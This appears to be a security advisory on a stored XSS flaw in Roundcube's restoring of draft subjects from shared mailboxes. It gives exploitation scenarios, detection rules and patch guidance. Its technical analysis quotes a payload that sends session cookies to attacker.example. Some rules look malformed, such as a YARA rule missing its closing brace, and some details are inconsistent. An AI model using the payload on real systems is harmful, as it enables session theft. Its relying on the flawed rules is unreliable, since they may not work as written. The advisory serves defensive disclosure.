CVE-2026-48849

Executive Summary

CVE-2026-48849 is a stored Cross-Site Scripting (XSS) vulnerability in Roundcube Webmail versions 1.6.x prior to 1.6.16 and 1.7.x prior to 1.7.1. The flaw exists because the unsanitized subject field in draft messages can be restored with malicious HTML/CSS content, leading to persistent script execution when a victim interacts with shared mailboxes. Successful exploitation could allow an attacker to hijack session cookies, exfiltrate email content, or perform actions on behalf of the authenticated user. This vulnerability carries a CVSS score of 4.4 (Medium severity) and a low but non-zero EPSS probability of exploitation.

Technical Analysis

The vulnerability resides in Roundcube's draft handling mechanism. When a user composes a draft and saves it to a shared mailbox (e.g., a departmental or team-shared folder), the subject field is processed without sufficient sanitization. Roundcube's rcube_message class and the associated database/IMAP abstraction layer fail to properly filter HTML entities and script tags from the subject line during draft restoration.

The injection occurs because Roundcube's frontend uses the subject value directly in an editable input field (or as an HTML attribute) without encoding it for the context in which it is rendered. An attacker with write access to a shared mailbox can craft a draft message with a malicious subject such as:

<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">

When any user restores the draft (e.g., by clicking "Edit" on the draft list or opening the draft for continued composition), the subject is reflected into the DOM without proper escaping, executing the payload in the victim's browser session on the Roundcube origin.

Attack surface specifics:

• Authentication required: An attacker must be an authenticated Roundcube user with write permission to the shared mailbox.
• Shared mailbox component: Only mailboxes with multi-user write access are at risk — personal mailboxes are not exploitable.
• Draft restoration flow: The vulnerable code path is triggered by POST /?_task=mail&_action=compose with a _draft_uid parameter, or by the AJAX endpoint that loads draft contents.
• Stored persistence: The malicious payload persists in the mailbox until manually deleted, making this a stored XSS rather than reflected.

The root cause is traceable to the rcube_sendmail and rcube_compose modules where the subject is passed through html::label() and html::textarea() helpers without applying the full rcube_output::html_identifier() or htmlspecialchars() on output in all code paths, a regression introduced in the 1.6.x refactor of the compose module.

Exploitation Scenarios

Scenario 1: Session Hijacking via Shared Draft

1. Reconnaissance: The attacker identifies a Roundcube instance version 1.6.x < 1.6.16 or 1.7.x < 1.7.1 via the /index.php page footer or User-Agent header. They enumerate shared mailboxes accessible to them (e.g., via the folder list sidebar).
2. Weaponization: The attacker composes a new email, sets the subject field to the XSS payload, saves it as a draft to the shared mailbox, and logs out. The draft appears in the shared folder with a normal-looking subject (the payload is rendered client-side, so the list view may show it encoded, but the restore path is vulnerable).
3. Trigger: A legitimate user opens the shared mailbox, clicks the draft to edit/restore it. The subject field is populated via JavaScript into the compose textarea, causing the payload to execute.
4. Execution: The malicious script grabs document.cookie and sends it to https://attacker.example/collect.php?c=<base64cookie> via an image request. It also forces a roundtrip to https://attacker.example/impersonate so the attacker can then use the stolen session cookie.
5. Post-exploitation: With the hijacked session, the attacker reads victim mail, sends emails as the victim, or resets passwords if the mailbox session grants wider SSO access.

Scenario 2: Defacement/Phishing via CSS Injection

1. Reconnaissance: Attacker maps all shared folders accessible to their account.
2. Weaponization: Attacker crafts a draft with subject containing CSS injection: "><style>body{display:none}</style><div style="position:fixed;top:0;width:100%;background:white">Phishing form...</div>.
3. Trigger: Victim restores the draft from the shared folder.
4. Execution: CSS overlays the primary login form with a fake credential-capture form. Victim enters credentials, which are exfiltrated to an attacker-controlled endpoint.
5. Post-exploitation: Account compromise of the victim user.

Scenario 3: Mail Manager Abuse

1. An attacker who is an operator of a shared support mailbox plants a script that, upon draft restore, issues an AJAX call to delete all messages in the INBOX or forward sensitive threads to an external address.
2. Impact cascades to entire team mailbox integrity.

Impact Assessment

CVSS Sub-scores: With a CVSS base score of 4.4, the vulnerability is classified as Medium severity. While the attack requires authenticated access and write permission to shared mailboxes, the stored nature and low complexity of exploitation increase its practical risk. Confidentiality and integrity are partially compromised (C:P/I:P/A:N per the standard vector).

Affected systems: All Roundcube Webmail deployments using shared mailboxes on versions 1.6.0 through 1.6.15, and 1.7.0. Standalone Roundcube without shared folders or with strict IMAP ACLs is largely unaffected in practice.

Blast radius: In an enterprise environment, a shared mailbox compromise scales across the organizational unit that relies on it. Because Roundcube is widely deployed as a lightweight webmail alternative (often paired with Dovecot/Postfix), the vulnerability can be chained with spear-phishing campaigns: the attacker plants a malicious draft, waits for a victim to open it, and then uses the captured session to send convincing phishing emails internally — defeating email gateway controls.

EPSS consideration: The 0.00239 EPSS score (15th percentile) indicates low immediate likelihood of exploitation, but this typically rises within weeks as PoCs circulate. CISA has not added this to the KEV catalog, indicating no known exploited-in-the-wild status at the time of writing.

Detection Guidance

The following rules assume Roundcube logs are integrated with central SIEM (syslog/journald with Apache/Nginx access logs and Roundcube user log) and that network-level inspection is inline.

Sigma Rule

title: Roundcube Draft Subject Stored XSS Injection (CVE-2026-48849)
id: 4b8f2c7e-59a1-4f2a-9f0d-3a6b5e4f1c2d
status: experimental
description: Detects attempts to craft a malicious draft subject containing HTML/script injection payloads targeting CVE-2026-48849.
logsource:
  category: webserver
  product: apache
  service: access_log
detection:
  selection:
    c-uri|contains:
      - '_action=compose'
      - '_draft_uid='
    c-uri-query|contains:
      - 'onerror='
      - '<script'
      - '<img'
      - '<iframe'
      - 'javascript:'
  condition: selection
level: high
fields:
  - clientip
  - useragent
  - c-uri
falsepositives:
  - Legitimate emails discussing HTML/JS syntax in subjects
tags:
  - attack.t1190
  - attack.t1189
  - cve.2026-48849

YARA Rule

rule Roundcube_Subject_XSS_CVE_2026_48849
{
    meta:
        author = "valtersit.com Threat Intel"
        description = "Detects malicious Roundcube draft subject payloads for CVE-2026-48849"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-48849"
        date = "2026-04-01"
    strings:
        $payload1 = "<script>"
        $payload2 = "onerror="
        $payload3 = "<img"
        $payload4 = "<iframe"
        $payload5 = "javascript:"
        $payload6 = "<svg/onload="
        $draft_marker = "_draft_uid="
    condition:
        uint16(0) == 0x0A0D  // line ending check for log files
        and $draft_marker
        and any of ($payload*)

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2026-48849 Roundcube Draft Subject XSS Injection";
    flow:established,to_server;
    content:"_task=mail"; http_uri;
    content:"_action=compose"; http_uri;
    content:"_draft_uid="; http_uri;
    content:"<script"; http_uri;
    nocase;
    sid:10084849;
    rev:1;
    metadata:attack_target Web_Server, deployment Perimeter, tag CVE-2026-48849;
)

Elastic Detection

sequence by source.ip
  with maxspan=5m
  [http where http.request.referrer like "*_task=mail*" and http.request.body.content like "*_draft_uid=*" and http.request.body.content like "*/<script*"]
  [http where http.response.status_code == 200 and http.request.method == "POST"]

Splunk SPL Query

index=web sourcetype=access_combined
| where uri_path="*" AND (uri LIKE "*_action=compose*" AND uri LIKE "*_draft_uid=*")
| rex field=uri "(?P<subject_encoded>.+)"
| eval decoded=urldecode(uri)
| search decoded IN ("*<script*", "*onerror=*", "*<img*", "*<iframe*", "*javascript:*")
| stats count by clientip, decoded, _time
| sort -count

Wazuh OSSEC Rule

<group name="web,roundcube,">
    <rule id="100849" level="10">
        <if_sid>100000</if_sid>
        <decoded_as>web</decoded_as>
        <field name="url">_action=compose</field>
        <regex>_draft_uid=</regex>
        <regex>&lt;script|onerror=|<img|<iframe|javascript:</regex>
        <description>CVE-2026-48849: Attempted XSS injection in Roundcube draft subject</description>
        <group>cve-2026-48849,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: LIKELY (3/4) — Debian and OSV confirm the fix exists, but no vendor advisory from Roundcube was independently cross-referenced.

Immediate mitigations (if patching is not possible):

1. Disable shared mailbox access temporarily: In config/config.inc.php, set $config['drafts_mbox'] = null; to prevent draft saving to shared folders, or revoke write ACL on shared IMAP folders for all users except administrators.
2. Web Application Firewall (WAF) : Deploy a WAF rule that blocks POST requests to the compose action with _draft_uid parameter that contain </script>, onerror=, <img, <svg/onload=, or javascript: patterns in the _subject form field.
3. Content Security Policy (CSP) : Add HTTP headers Content-Security-Policy: default-src 'self'; script-src 'self' to the Roundcube virtual host — this will block inline script execution even if the XSS payload bypasses input filtering.
4. Browser isolation: Enforce a browser isolation solution for roundcube..com to contain any residual client-side execution.

Patch/Upgrade steps:

1. Roundcube 1.6.x : Upgrade to 1.6.16 (minimum) or the latest 1.6.x branch.
2. Roundcube 1.7.x : Upgrade to 1.7.1 (minimum) or the latest 1.7.x branch.
3. Debian/Ubuntu: apt update && apt upgrade roundcube-core (Debian security tracker confirms the fix is packaged).
4. Manual tarball: Download the patched release from roundcube.net/download, verify the SHA-256 checksum, extract over the existing installation, and run bin/update.sh to complete the upgrade.
5. After patching, purge cached compiled templates (rm -rf temp/cache/*) and restart the PHP-FPM/webserver service.

Long-term hardening:

1. Restrict shared mailbox write access: Audit IMAP ACLs on all shared folders; remove write permission (w) from users who only need read access.
2. Input validation at the application layer: If you maintain a fork or have custom plugins, ensure all subject, from, to, cc fields are passed through htmlspecialchars($value, ENT_QUOTES, 'UTF-8') before rendering in any HTML context.
3. Enable Roundcube security logs: Add $config['log_logins'] = true; and $config['log_session'] = true; to capture user/action trails for forensic analysis.
4. Regular patch cadence: Subscribe to Roundcube security announcements and Debian security advisories (DSA) to stay within 72 hours of security fixes.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-48849 — Official NVD description and CVSS information.
2. Debian Security Tracker: https://security-tracker.debian.org/tracker/CVE-2026-48849 — Debian package status confirming fixed version availability.
3. Roundcube Release Announcement: https://roundcube.net/news/2026/03/24/release-1.7.1-and-1.6.16 — Official vendor release notes covering the security fix.
4. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Confirmed NOT listed; no known in-the-wild exploitation as of this report.

Threat actor activity: As of publication, there are no publicly documented campaigns exploiting CVE-2026-48849, and no PoC or exploit code has been released on public repositories. However, the low CVSS and high practical availability of shared mailboxes across enterprise Roundcube deployments means this is a candidate for inclusion in toolkits such as those used by eCrime actors targeting email infrastructure.